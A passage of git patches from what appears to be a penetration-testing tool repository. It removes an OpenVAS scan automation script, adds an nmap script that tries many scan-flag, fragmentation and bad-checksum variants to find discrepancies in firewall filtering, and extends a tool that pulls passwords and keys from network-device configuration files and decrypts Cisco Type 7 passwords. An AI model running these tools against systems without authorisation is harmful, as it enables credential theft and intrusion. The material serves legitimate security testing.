task..." +task_id=$(omp_cmd -C -n "$TARGET" --target=$target_id --config=$scan_profile_id) + +if [ $? -ne 0 ]; then + echo "[!] Could not create a task." + end +fi + +echo "[+] Task created successfully, id: '$task_id'" + +echo "[>] Starting the task..." +report_id=$(omp_cmd -S $task_id) + +if [ $? -ne 0 ]; then + echo "[!] Could not start a task." + end +fi + +able_to_clean=0 + +echo "[+] Task started. Report id: $report_id" +echo "[.] Awaiting for it to finish. This will take a long while..." +echo + +aborted=0 +while true; do + RET=$(omp_cmd -G) + if [ $? -ne 0 ]; then + echo '[!] Querying jobs failed.'; + end + fi + + RET=$(echo -n "$RET" | grep -m1 "$task_id" | tr '\n' ' ') + out=$(echo "$RET" | tr '\n' ' ') + echo -ne "$out\r" + if [ `echo "$RET" | grep -m1 -i "fail"` ]; then + echo '[!] Failed getting running jobs list' + end + fi + echo "$RET" | grep -m1 -i -E "done|Stopped" + if [ $? -ne 1 ]; then + aborted=1 + break + fi + sleep 1 + +done + +if [ $aborted -eq 0 ]; then + echo "[+] Job done, generating report..." + + FILENAME=${TARGET// /_} + FILENAME="openvas_${FILENAME//[^a-zA-Z0-9_\.\-]/}_$(date +%s)" + + out=$(omp_cmd --get-report $report_id --format $format_id > $FILENAME.$FORMAT ) + + if [ $? -ne 0 ]; then + echo '[!] Failed getting report.'; + echo "[!] Output: $out" + #end + fi + + echo "[+] Scanning done." +else + echo "[?] Scan monitoring has been aborted. You're on your own now." +fi From dde1eb840db6e53ad8c4ff210781c56aecf6a6e5 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 11 Dec 2019 11:43:28 +0100 Subject: [PATCH 30/34] Removed superflouous script --- linux/README.md | 2 +- others/README.md | 2 - others/openvas-automate.sh | 284 ------------------------------------- 3 files changed, 1 insertion(+), 287 deletions(-) delete mode 100644 others/openvas-automate.sh diff --git a/linux/README.md b/linux/README.md index 2377da8..872f89a 100644 --- a/linux/README.md +++ b/linux/README.md @@ -6,6 +6,6 @@ $ ./find-nessus-plugin.sh 62940 /opt/nessus/lib/nessus/plugins/iis_ftp7_ms12-073.nasl ``` -- **`openvas-automate.sh`** - OpenVAS automation script. ([gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7)) +- **`openvas-automate.sh`** - A simple OpenVAS scanner automation script. If you want to use your custom defined scan type - you'll need to edit script's code, especially `targets` array and `if` decision statement in lines 111-137. [gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7) - **`prepare-kali.sh`** - A script that supplies fresh Kali installation with set of initial packages, configurations, wordlists (`/root/data`) and a big repository of tools I've found useful (located in `/root/tools`). ([gist](https://gist.github.com/mgeeky/39d1681e44804f089d1553cc7597e628)) diff --git a/others/README.md b/others/README.md index e4d44d3..44be154 100644 --- a/others/README.md +++ b/others/README.md @@ -9,8 +9,6 @@ - **`forticlientsslvpn-expect.sh`** - Forticlient SSL VPN Client launching script utilizing expect. Useful while working for clients exposing their local networks through a Fortinet SSL VPN. [gist](https://gist.githubusercontent.com/mgeeky/8afc0e32b8b97fd6f96fce6098615a93/raw/cf127be09d02e04c00eb578e4ef1219a773d21cf/forticlientsslvpn-expect.sh) -- **`openvas-automate.sh`** - A simple OpenVAS scanner automation script. If you want to use your custom defined scan type - you'll need to edit script's code, especially `targets` array and `if` decision statement in lines 111-137. [gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7) - - **`playRTPStream.sh`** - Using rtpdump to play RTP streams from PCAP files with VLC. This script was useful to extract RTP Streams from sniffed VoIP communication and then with a help of VLC to dump those streams into valid .wav files. (https://github.com/hdiniz/rtpdump). [gist](https://gist.github.com/mgeeky/0b8bd81a3f6fb70eec543bc0bae2f079) - **`vm-manager.sh`** - A bash script offering several aliases/functions for quick management of a single Virtualbox VM machine. Handy to use it for example to manage a Kali box. By issuing `startkali` the VM will raise, `sshkali` - offers instant SSH into your VM, `getkali` - returns VM's IP address, `iskali` - checks whether VM is running, `stopkali` goes without explanation. [gist](https://gist.github.com/mgeeky/80b1f7addb792796d8bfb67188d72f4a) diff --git a/others/openvas-automate.sh b/others/openvas-automate.sh deleted file mode 100644 index e4624e2..0000000 --- a/others/openvas-automate.sh +++ /dev/null @@ -1,284 +0,0 @@ -#!/bin/bash -# -# OpenVAS automation script. -# Mariusz B. / mgeeky, '17 -# v0.2 -# - -trap ctrl_c INT - -# --- CONFIGURATION --- - -USER= -PASS= -HOST=127.0.0.1 -PORT=9390 - -# Must be one of the below defined targets -SCAN_PROFILE="" -#SCAN_PROFILE="Full and fast ultimate" - -FORMAT="PDF" - -# A valid "alive_test" parameter -# Defines how it is determined if the targets are alive -# Currently, valid values are the following: -# Scan Config Default -# ICMP, TCP-ACK Service & ARP Ping -# TCP-ACK Service & ARP Ping -# ICMP & ARP Ping -# ICMP & TCP-ACK Service Ping -# ARP Ping -# TCP-ACK Service Ping -# TCP-SYN Service Ping -# ICMP Ping -# Consider Alive -ALIVE_TEST='ICMP, TCP-ACK Service & ARP Ping' - -# --- END OF CONFIGURATION --- - -targets=( - "Discovery" - "Full and fast" - "Full and fast ultimate" - "Full and very deep" - "Full and very deep ultimate" - "Host Discovery" - "System Discovery" -) - -formats=( - "ARF" - "CPE" - "HTML" - "ITG" - "NBE" - "PDF" - "TXT" - "XML" -) - -able_to_clean=1 - -function usage { - echo - echo -ne "Usage: openvas-automate.sh " - echo - echo -ne "\n host\t- IP address or domain name of the host target." - echo - echo -} - -function omp_cmd { - cmd="omp -u $USER -w \"$PASS\" -h $HOST -p $PORT $@" - #>&2 echo "DBG: OMP cmd: \"$cmd\"" - eval $cmd 2>&1 -} - -function omp_cmd_xml { - omp_cmd "--xml='$@'" -} - -function end { - echo "[>] Performing cleanup" - - if [ $able_to_clean -eq 1 ]; then - omp_cmd -D $task_id - omp_cmd -X '' - fi - exit 1 -} - -function ctrl_c() { - echo "[?] CTRL-C trapped." - exit 1 - end -} - -echo -echo " :: OpenVAS automation script." -echo " mgeeky, 0.2" -echo - -out=$(omp_cmd -g | grep -i "discovery") -if [ -z "$out" ]; then - echo "Exiting due to OpenVAS authentication failure." - exit 1 -fi - -echo "[+] OpenVAS authenticated." - -if [ -z "$SCAN_PROFILE" ]; then - echo "[>] Please select scan type:" - echo -e "\t1. Discovery" - echo -e "\t2. Full and fast" - echo -e "\t3. Full and fast ultimate" - echo -e "\t4. Full and very deep" - echo -e "\t5. Full and very deep ultimate" - echo -e "\t6. Host Discovery" - echo -e "\t7. System Discovery" - echo -e "\t9. Exit" - echo "" - echo "--------------------------------" - - read -p "Please select an option: " m - - if [ $m -eq 9 ]; then exit 0; - elif [ $m -eq 1 ]; then SCAN_PROFILE="Discovery" - elif [ $m -eq 2 ]; then SCAN_PROFILE="Full and fast" - elif [ $m -eq 3 ]; then SCAN_PROFILE="Full and fast ultimate" - elif [ $m -eq 4 ]; then SCAN_PROFILE="Full and very deep" - elif [ $m -eq 5 ]; then SCAN_PROFILE="Full and very deep ultimate" - elif [ $m -eq 6 ]; then SCAN_PROFILE="Host Discovery" - elif [ $m -eq 7 ]; then SCAN_PROFILE="System Discovery" - else echo "[!] Unknown profile selected" && exit 1 - fi - echo -fi - -found=0 - -for i in "${targets[@]}" -do - if [ "$i" == "$SCAN_PROFILE" ]; then - found=1 - break - fi -done - -scan_profile_id=$(omp_cmd -g | grep "$SCAN_PROFILE" | cut -d' ' -f1) -if [ $found -eq 0 ] || [ -z "$scan_profile_id" ]; then - echo "[!] You've selected unknown SCAN_PROFILE. Please change it in script's settings." - exit 1 -fi - -found=0 - -for i in "${formats[@]}" -do - if [ "$i" == "$FORMAT" ]; then - found=1 - break - fi -done - -format_id=$(omp_cmd -F | grep "$FORMAT" | cut -d' ' -f1) - -if [ $found -eq 0 ] || [ -z $format_id ]; then - echo "[!] You've selected unknown FORMAT. Please change it in script's settings." - exit 1 -fi - -if [ -z "$1" ]; then - usage - exit 1 -fi - -TARGET="$1" -host "$TARGET" 2>&1 > /dev/null - -if [ $? -ne 0 ]; then - echo "[!] Specified target host seems to be unavailable!" - read -p "Are you sure you want to continue [Y/n]? " -n 1 -r - echo - if [[ $REPLY =~ ^[Yy]$ ]] - then - echo > /dev/null - else - exit 1 - fi -fi - -echo "[+] Tasked: '$SCAN_PROFILE' scan against '$TARGET' " - -target_id=$(omp_cmd -T | grep "$TARGET" | cut -d' ' -f1) - -out="" -if [ -z "$target_id" ]; then - - echo "[>] Creating a target..." - out=$(omp -u $USER -w '$PASS' -h $HOST -p $PORT --xml=\ -"\ -${TARGET}$TARGET\ -$ALIVE_TEST\ -") - target_id=$(echo "$out" | pcregrep -o1 'id="([^"]+)"') - -else - echo "[>] Reusing target..." -fi - -if [ -z "$target_id" ]; then - echo "[!] Something went wrong, couldn't acquire target's ID! Output:" - echo $out - exit 1 -else - echo "[+] Target's id: $target_id" -fi - -echo "[>] Creating a task..." -task_id=$(omp_cmd -C -n "$TARGET" --target=$target_id --config=$scan_profile_id) - -if [ $? -ne 0 ]; then - echo "[!] Could not create a task." - end -fi - -echo "[+] Task created successfully, id: '$task_id'" - -echo "[>] Starting the task..." -report_id=$(omp_cmd -S $task_id) - -if [ $? -ne 0 ]; then - echo "[!] Could not start a task." - end -fi - -able_to_clean=0 - -echo "[+] Task started. Report id: $report_id" -echo "[.] Awaiting for it to finish. This will take a long while..." -echo - -aborted=0 -while true; do - RET=$(omp_cmd -G) - if [ $? -ne 0 ]; then - echo '[!] Querying jobs failed.'; - end - fi - - RET=$(echo -n "$RET" | grep -m1 "$task_id" | tr '\n' ' ') - out=$(echo "$RET" | tr '\n' ' ') - echo -ne "$out\r" - if [ `echo "$RET" | grep -m1 -i "fail"` ]; then - echo '[!] Failed getting running jobs list' - end - fi - echo "$RET" | grep -m1 -i -E "done|Stopped" - if [ $? -ne 1 ]; then - aborted=1 - break - fi - sleep 1 - -done - -if [ $aborted -eq 0 ]; then - echo "[+] Job done, generating report..." - - FILENAME=${TARGET// /_} - FILENAME="openvas_${FILENAME//[^a-zA-Z0-9_\.\-]/}_$(date +%s)" - - out=$(omp_cmd --get-report $report_id --format $format_id > $FILENAME.$FORMAT ) - - if [ $? -ne 0 ]; then - echo '[!] Failed getting report.'; - echo "[!] Output: $out" - #end - fi - - echo "[+] Scanning done." -else - echo "[?] Scan monitoring has been aborted. You're on your own now." -fi From cb98a6a57e8620f7bf04ec5af6e38c2c8ddd1f8c Mon Sep 17 00:00:00 2001 From: Mariusz B Date: Wed, 11 Dec 2019 22:16:01 +0100 Subject: [PATCH 31/34] Update IBM-MQ-Pentesting-notes.md --- networks/IBM-MQ-Pentesting-notes.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/networks/IBM-MQ-Pentesting-notes.md b/networks/IBM-MQ-Pentesting-notes.md index 710828d..55f234e 100644 --- a/networks/IBM-MQ-Pentesting-notes.md +++ b/networks/IBM-MQ-Pentesting-notes.md @@ -186,7 +186,8 @@ Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system 1. [Martyn Ruks: WebSphere MQ Security. White Paper – Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf) 2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) 3. [punch-q](https://github.com/sensepost/punch-q) -4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995)raad](https://gist.github.com/mgeeky/fc11c9f227755a529eb607ed4d1742f9) +4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995) +5. [mini-reverse.ps1 script designed by @staaldraad](https://gist.github.com/mgeeky/fc11c9f227755a529eb607ed4d1742f9) @@ -195,4 +196,4 @@ Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system 1. [Martyn Ruks: WebSphere MQ Security. White Paper – Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf) 2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) 3. [punch-q](https://github.com/sensepost/punch-q) -4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995) \ No newline at end of file +4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995) From 50c2025de42d300d4b6d3808859ab80983276e55 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Wed, 18 Dec 2019 11:17:30 +0100 Subject: [PATCH 32/34] nmap-christmas-tree --- networks/README.md | 2 + networks/nmap-christmas-tree.sh | 201 ++++++++++++++++++++++++++++++++ 2 files changed, 203 insertions(+) create mode 100755 networks/nmap-christmas-tree.sh diff --git a/networks/README.md b/networks/README.md index 5f31bd7..c517f1f 100644 --- a/networks/README.md +++ b/networks/README.md @@ -120,6 +120,8 @@ Hostname: 10.10.10.9 - **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0)) +- **`nmap-christmas-tree.sh`** - Simple script looking for discrepancies between known-to-be listening TCP port and known-to-be closed one as seen from varying scan strategies. + - **`nmap-grep-to-table.sh`** - Script converting nmap's greppable output (-oG) into a printable per-host tables. ([gist](https://gist.github.com/mgeeky/cd3092cf60fd513d786286a21c6fa915)) - **`nmap-scan-all.sh`** - Simple script to launch nmap scans against given target, using specific options and scripts set. diff --git a/networks/nmap-christmas-tree.sh b/networks/nmap-christmas-tree.sh new file mode 100755 index 0000000..175357a --- /dev/null +++ b/networks/nmap-christmas-tree.sh @@ -0,0 +1,201 @@ +#!/bin/bash + +if [ $# -ne 3 ]; then + echo "Usage: ./nmap-christmas-tree.sh " + echo -e "\nopened-port\t- A TCP port number that is known to be opened/listening, e.g. 443" + echo -e "closed-port\t- A TCP port number that is known to be closed, e.g. 44444" + echo + exit 1 +fi + +HOST=$1 +PORT1=$2 +PORT2=$3 + +OPTS="-Pn -T4" + +function scan { + opts=$@ + echo "Trying $opts..." + out=$(sudo nmap "$OPTS" -p $PORT1,$PORT2 $opts $HOST | grep -E "$PORT1|$PORT2") + num=$(echo "$out" | awk '{print $2}' | uniq | wc -l) + if [[ $num == 2 ]]; then + echo + echo "== DISCREPANCY occured on: $opts" + echo -e "NMAP:\tsudo nmap "$OPTS" -p $PORT1,$PORT2 $opts $HOST" + echo "$out" + echo + fi +} + +scan -sS +scan -sT +scan -sA +scan -sW +scan -sM +scan -sN +scan -sF +scan -sX +scan --scanflags SYN +scan --scanflags SYNACK +scan --scanflags SYNFIN +scan --scanflags SYNPSH +scan --scanflags SYNRST +scan --scanflags SYNURG +scan --scanflags URG +scan --scanflags URGACK +scan --scanflags URGFIN +scan --scanflags URGPSH +scan --scanflags URGRST +scan --scanflags PSH +scan --scanflags PSHACK +scan --scanflags PSHFIN +scan --scanflags PSHRST +scan --scanflags ACK +scan --scanflags ACKFIN +scan --scanflags ACKRST +scan --scanflags RST +scan --scanflags RSTFIN +scan --scanflags FIN +scan -sS -f +scan -sT -f +scan -sA -f +scan -sW -f +scan -sM -f +scan -sN -f +scan -sF -f +scan -sX -f +scan --scanflags SYN -f +scan --scanflags SYNACK -f +scan --scanflags SYNFIN -f +scan --scanflags SYNPSH -f +scan --scanflags SYNRST -f +scan --scanflags SYNURG -f +scan --scanflags URG -f +scan --scanflags URGACK -f +scan --scanflags URGFIN -f +scan --scanflags URGPSH -f +scan --scanflags URGRST -f +scan --scanflags PSH -f +scan --scanflags PSHACK -f +scan --scanflags PSHFIN -f +scan --scanflags PSHRST -f +scan --scanflags ACK -f +scan --scanflags ACKFIN -f +scan --scanflags ACKRST -f +scan --scanflags RST -f +scan --scanflags RSTFIN -f +scan --scanflags FIN -f +scan -sS -f --badsum +scan -sA -f --badsum +scan -sW -f --badsum +scan -sM -f --badsum +scan -sN -f --badsum +scan -sF -f --badsum +scan -sX -f --badsum +scan --scanflags SYN -f --badsum +scan --scanflags SYNACK -f --badsum +scan --scanflags SYNFIN -f --badsum +scan --scanflags SYNPSH -f --badsum +scan --scanflags SYNRST -f --badsum +scan --scanflags SYNURG -f --badsum +scan --scanflags URG -f --badsum +scan --scanflags URGACK -f --badsum +scan --scanflags URGFIN -f --badsum +scan --scanflags URGPSH -f --badsum +scan --scanflags URGRST -f --badsum +scan --scanflags PSH -f --badsum +scan --scanflags PSHACK -f --badsum +scan --scanflags PSHFIN -f --badsum +scan --scanflags PSHRST -f --badsum +scan --scanflags ACK -f --badsum +scan --scanflags ACKFIN -f --badsum +scan --scanflags ACKRST -f --badsum +scan --scanflags RST -f --badsum +scan --scanflags RSTFIN -f --badsum +scan --scanflags FIN -f --badsum +scan -sS --badsum +scan -sA --badsum +scan -sW --badsum +scan -sM --badsum +scan -sN --badsum +scan -sF --badsum +scan -sX --badsum +scan --scanflags SYN --badsum +scan --scanflags SYNACK --badsum +scan --scanflags SYNFIN --badsum +scan --scanflags SYNPSH --badsum +scan --scanflags SYNRST --badsum +scan --scanflags SYNURG --badsum +scan --scanflags URG --badsum +scan --scanflags URGACK --badsum +scan --scanflags URGFIN --badsum +scan --scanflags URGPSH --badsum +scan --scanflags URGRST --badsum +scan --scanflags PSH --badsum +scan --scanflags PSHACK --badsum +scan --scanflags PSHFIN --badsum +scan --scanflags PSHRST --badsum +scan --scanflags ACK --badsum +scan --scanflags ACKFIN --badsum +scan --scanflags ACKRST --badsum +scan --scanflags RST --badsum +scan --scanflags RSTFIN --badsum +scan --scanflags FIN --badsum +scan -sS --mtu 16 +scan -sA --mtu 16 +scan -sW --mtu 16 +scan -sM --mtu 16 +scan -sN --mtu 16 +scan -sF --mtu 16 +scan -sX --mtu 16 +scan --scanflags SYN --mtu 16 +scan --scanflags SYNACK --mtu 16 +scan --scanflags SYNFIN --mtu 16 +scan --scanflags SYNPSH --mtu 16 +scan --scanflags SYNRST --mtu 16 +scan --scanflags SYNURG --mtu 16 +scan --scanflags URG --mtu 16 +scan --scanflags URGACK --mtu 16 +scan --scanflags URGFIN --mtu 16 +scan --scanflags URGPSH --mtu 16 +scan --scanflags URGRST --mtu 16 +scan --scanflags PSH --mtu 16 +scan --scanflags PSHACK --mtu 16 +scan --scanflags PSHFIN --mtu 16 +scan --scanflags PSHRST --mtu 16 +scan --scanflags ACK --mtu 16 +scan --scanflags ACKFIN --mtu 16 +scan --scanflags ACKRST --mtu 16 +scan --scanflags RST --mtu 16 +scan --scanflags RSTFIN --mtu 16 +scan --scanflags FIN --mtu 16 +scan -sS --mtu 65528 +scan -sT --mtu 65528 +scan -sA --mtu 65528 +scan -sW --mtu 65528 +scan -sM --mtu 65528 +scan -sN --mtu 65528 +scan -sF --mtu 65528 +scan -sX --mtu 65528 +scan --scanflags SYN --mtu 65528 +scan --scanflags SYNACK --mtu 65528 +scan --scanflags SYNFIN --mtu 65528 +scan --scanflags SYNPSH --mtu 65528 +scan --scanflags SYNRST --mtu 65528 +scan --scanflags SYNURG --mtu 65528 +scan --scanflags URG --mtu 65528 +scan --scanflags URGACK --mtu 65528 +scan --scanflags URGFIN --mtu 65528 +scan --scanflags URGPSH --mtu 65528 +scan --scanflags URGRST --mtu 65528 +scan --scanflags PSH --mtu 65528 +scan --scanflags PSHACK --mtu 65528 +scan --scanflags PSHFIN --mtu 65528 +scan --scanflags PSHRST --mtu 65528 +scan --scanflags ACK --mtu 65528 +scan --scanflags ACKFIN --mtu 65528 +scan --scanflags ACKRST --mtu 65528 +scan --scanflags RST --mtu 65528 +scan --scanflags RSTFIN --mtu 65528 +scan --scanflags FIN --mtu 65528 From f31930c7c828f70aedbfd5eaa3f4022fe26c1bd3 Mon Sep 17 00:00:00 2001 From: mgeeky Date: Thu, 16 Jan 2020 10:31:33 +0100 Subject: [PATCH 33/34] Multiple enhancements to networkConfigurationCredentialsExtract.py --- .../networkConfigurationCredentialsExtract.py | 228 +++++++++++++----- 1 file changed, 164 insertions(+), 64 deletions(-) diff --git a/networks/networkConfigurationCredentialsExtract.py b/networks/networkConfigurationCredentialsExtract.py index a70c448..ff52452 100644 --- a/networks/networkConfigurationCredentialsExtract.py +++ b/networks/networkConfigurationCredentialsExtract.py @@ -3,8 +3,9 @@ # # Script intendend to sweep Cisco, Huawei and possibly other network devices # configuration files in order to extract plain and cipher passwords out of them. +# Equipped with functionality to decrypt Cisco Type 7 passwords. # -# Mariusz B., mgeeky '18 +# Mariusz B., mgeeky '18-20 # import re @@ -45,6 +46,10 @@ regexes = { 'ISAKMP Pre-Shared Key' : r'crypto isakmp key \password(?: address \ip)?', 'SNMP-Server User Auth & Encr keys' : r'snmp-server user \name .* encrypted auth md5 ([0-9a-f\:]+) priv aes \d+ ([0-9a-f\:]+)', 'PPP PAP Sent Username & Password' : r'ppp pap sent-username \name password \password', + 'AAA TACACS+/RADIUS Server Private' : r'server-private \ip key \password', + 'AAA TACACS+ Server Private' : r'tacacs-server key \password', + 'SNMP Server Community string' : r'snmp-server community \password', + 'IPSec VPN ISAKMP Pre-Shared Key' : r'pre-shared-key address \ip key \password' }, 'Cisco ASA' : { @@ -88,6 +93,7 @@ regexes = { 'Other uncategorized XML password' : r'password>([^<]+)<', 'Other uncategorized authentication string' : r'.* authentication \password.*', 'Other hash-key related' : r'.* key \hash', + 'Cisco 7 Password' : r'\cisco7', }, } @@ -95,9 +101,12 @@ config = { 'verbose' : False, 'debug' : False, 'lines' : 0, - 'output' : 'normal', + 'format' : 'normal', 'csv_delimiter' : ';', 'no_others' : False, + 'filename' : False, + 'nonunique' : False, + 'output' : '' } markers = { @@ -106,7 +115,8 @@ markers = { 'domain' : r'(([a-zA-Z]{1})|([a-zA-Z]{1}[a-zA-Z]{1})|([a-zA-Z]{1}[0-9]{1})|([0-9]{1}[a-zA-Z]{1})|([a-zA-Z0-9][a-zA-Z0-9-_]{1,61}[a-zA-Z0-9]))\.([a-zA-Z]{2,6}|[a-zA-Z0-9-]{2,30}\.[a-zA-Z]{2,3})', 'hash' : r'([a-fA-F0-9]{20,})', 'bcrypt' : r'([\$\w\.\/]+)', - 'password': r'(?:\d\s+)?([^\s]+)', + 'password': r'(?:(?:\d\s+)?([^\s]+))', + 'cisco7' : r'\b(?:7 ([0-9a-f]{4,}))|(?:([0-9a-f]{4,}) 7)\b', 'keystring': r'([a-f0-9]+)', } @@ -115,7 +125,7 @@ foundCreds = set() maxTechnologyWidth = 0 maxRegexpWidth = 0 -results = set() +results = [] class Logger: @staticmethod @@ -156,7 +166,53 @@ def processRegex(inputRegex): inputRegex = '^\\s*{}\\s*.*$'.format(inputRegex) return inputRegex -def matchLines(lines, technology): +def cisco7Decrypt(data): + # source: https://github.com/theevilbit/ciscot7 + xlat = [ + 0x64, 0x73, 0x66, 0x64, 0x3b, 0x6b, 0x66, 0x6f, 0x41, 0x2c, 0x2e, + 0x69, 0x79, 0x65, 0x77, 0x72, 0x6b, 0x6c, 0x64, 0x4a, 0x4b, 0x44, + 0x48, 0x53, 0x55, 0x42, 0x73, 0x67, 0x76, 0x63, 0x61, 0x36, 0x39, + 0x38, 0x33, 0x34, 0x6e, 0x63, 0x78, 0x76, 0x39, 0x38, 0x37, 0x33, + 0x32, 0x35, 0x34, 0x6b, 0x3b, 0x66, 0x67, 0x38, 0x37 + ] + + dp = '' + regex = re.compile(r'(^[0-9A-Fa-f]{2})([0-9A-Fa-f]+)') + result = regex.search(data) + try: + if result: + s, e = int(result.group(1)), result.group(2) + for pos in range(0, len(e), 2): + magic = int(e[pos] + e[pos+1], 16) + newchar = '' + if s <= 50: + # xlat length is 51 + newchar = '%c' % (magic ^ xlat[s]) + s += 1 + if s == 51: s = 0 + dp += newchar + return dp + return '' + except: + return '' + +def tryToCisco7Decrypt(creds): + if not len(creds): + return '' + + decrypted = [] + for m in re.finditer(markers['cisco7'], creds, re.I): + f = m.group(2) if m.group(2) != None else m.group(1) + out = cisco7Decrypt(f) + if out: + decrypted.append(out) + + if len(decrypted): + return " (decrypted cisco 7: '" + "', '".join(decrypted) + "')" + + return '' + +def matchLines(file, lines, technology): global foundCreds global results @@ -166,7 +222,7 @@ def matchLines(lines, technology): for idx in range(len(lines)): line = lines[idx].strip() - if line in foundCreds: + if not config['nonunique'] and line in foundCreds: continue processedRex = processRegex(regexes[technology][rex]) @@ -175,28 +231,28 @@ def matchLines(lines, technology): num += 1 foundCreds.add(line) - creds = '", "'.join(matched.groups(1)) + f = [x for x in matched.groups(1) if type(x) == str] + creds = '", "'.join(f) + creds += tryToCisco7Decrypt(line) - results.add(( - technology, rex, creds + results.append(( + file, technology, rex, creds )) - Logger._out('[+] {}: {}: {}'.format( - technology, rex, creds - )) - - if idx - config['lines'] >= 0: - for i in range(idx - config['lines'], idx): - Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) - if config['lines'] != 0: - Logger._out('[{:04}]==>\t{}'.format(idx, line)) - else: - Logger._out('[{:04}]\t\t{}'.format(idx, line)) + Logger._out('\n[+] {}: {}: {}'.format( + technology, rex, creds + )) - if idx + 1 + config['lines'] < len(lines): - for i in range(idx + 1, idx + config['lines'] + 1): - Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) + if idx - config['lines'] >= 0: + for i in range(idx - config['lines'], idx): + Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) + + Logger._out('[{:04}]==>\t{}'.format(idx, line)) + + if idx + 1 + config['lines'] < len(lines): + for i in range(idx + 1, idx + config['lines'] + 1): + Logger._out('[{:04}]\t\t{}'.format(i, lines[i])) Logger.dbg('\tRegex used: [ {} ]'.format(processedRex)) return num @@ -205,21 +261,23 @@ def processFile(file): lines = [] Logger.info('Processing file: "{}"'.format(file)) - with open(file, 'r') as f: - lines = [ line.strip() for line in f.readlines()] + try: + with open(file, 'r') as f: + lines = [ line.strip() for line in f.readlines()] + except Exception as e: + Logger.err("Parsing file '{}' failed: {}.".format(file, str(e))) + return 0 num = 0 for technology in regexes: if technology == 'Others': continue - num0 = matchLines(lines, technology) + num0 = matchLines(file, lines, technology) num += num0 if not config['no_others']: - num0 = matchLines(lines, 'Others') - if num0 == 0: - print('') + num0 = matchLines(file, lines, 'Others') num += num0 return num @@ -237,11 +295,14 @@ def processDir(dirname): def parseOptions(argv): parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] ') parser.add_argument('file', metavar='', type=str, help='Config file or directory to process.') + parser.add_argument('-o', '--output', help = 'Output file.') + parser.add_argument('-H', '--with-filename', action='store_true', help = 'Print file name next to the results') + parser.add_argument('-R', '--show-nonunique', action='store_true', help = 'Print repeated, non unique credentials found. By default only unique references are returned.') parser.add_argument('-C', '--lines', metavar='N', type=int, default=0, help='Display N lines around matched credential if verbose output is enabled.') parser.add_argument('-f', '--format', choices=['raw', 'normal', 'tabular', 'csv'], default='normal', help="Specifies output format: 'raw' (only hashes), 'tabular', 'normal', 'csv'. Default: 'normal'") parser.add_argument('-N', '--no-others', dest='no_others', action='store_true', help='Don\'t match "Others" category which is false-positives prone.') - parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') - parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.') + parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Display verbose output.') + parser.add_argument('-d', '--debug', action='store_true', default=False, help='Display debug output.') if len(argv) < 2: parser.print_help() @@ -253,32 +314,40 @@ def parseOptions(argv): config['debug'] = args.debug config['lines'] = args.lines config['no_others'] = args.no_others + config['filename'] = args.with_filename + config['nonunique'] = args.show_nonunique + config['output'] = args.output if args.format == 'raw': - config['output'] = 'raw' + config['format'] = 'raw' elif args.format == 'tabular': - config['output'] = 'tabular' + config['format'] = 'tabular' elif args.format == 'csv': - config['output'] = 'csv' + config['format'] = 'csv' else: - config['output'] == 'normal' + config['format'] == 'normal' return args def printResults(): global maxTechnologyWidth global maxRegexpWidth + global results # CSV Columns - cols = ['technology', 'name', 'hashes'] + cols = ['file', 'technology', 'name', 'hashes'] - def _print(technology, rex, creds): - if config['output'] == 'tabular': - print('[+] {0: <{width1}} {1:^{width2}}: "{2:}"'.format( + if not config['nonunique']: + results = set(results) + + def _print(file, technology, rex, creds): + out = '' + if config['format'] == 'tabular': + out += '[+] {0: <{width1}} {1:^{width2}}: "{2:}"\n'.format( technology, rex, creds, width1 = maxTechnologyWidth, width2 = maxRegexpWidth - )) - elif config['output'] == 'raw': + ) + elif config['format'] == 'raw': credstab = creds.split('", "') longest = '' @@ -286,24 +355,26 @@ def printResults(): if len(passwd) > len(longest): longest = passwd - print('{}'.format( + out += '{}\n'.format( passwd - )) - elif config['output'] == 'csv': + ) + elif config['format'] == 'csv': creds = '"{}"'.format(creds) rex = rex.replace(config['csv_delimiter'], ' ') - #creds = creds.replace(config['csv_delimiter'], ' ') - print(config['csv_delimiter'].join([technology, rex, creds])) + out += config['csv_delimiter'].join([file, technology, rex, creds]) + out += '\n' else: - print('[+] {}: {}: "{}"'.format( + out += '[+] {}: {}: "{}"\n'.format( technology, rex, creds - )) + ) + + return out maxTechnologyWidth = 0 maxRegexpWidth = 0 for result in results: - technology, rex, creds = result + file, technology, rex, creds = result if len(technology) > maxTechnologyWidth: maxTechnologyWidth = len(technology) @@ -313,23 +384,45 @@ def printResults(): maxTechnologyWidth = maxTechnologyWidth + 3 maxRegexpWidth = maxRegexpWidth + 3 - if config['output'] == 'normal' or config['output'] == 'tabular': - print('\n=== CREDENTIALS FOUND:') - elif config['output'] == 'csv': - print(config['csv_delimiter'].join(cols)) + outputToPrint = '' + if config['format'] == 'normal' or config['format'] == 'tabular': + outputToPrint += '\n=== CREDENTIALS FOUND:\n' + elif config['format'] == 'csv': + outputToPrint += config['csv_delimiter'].join(cols) + outputToPrint += '\n' + + 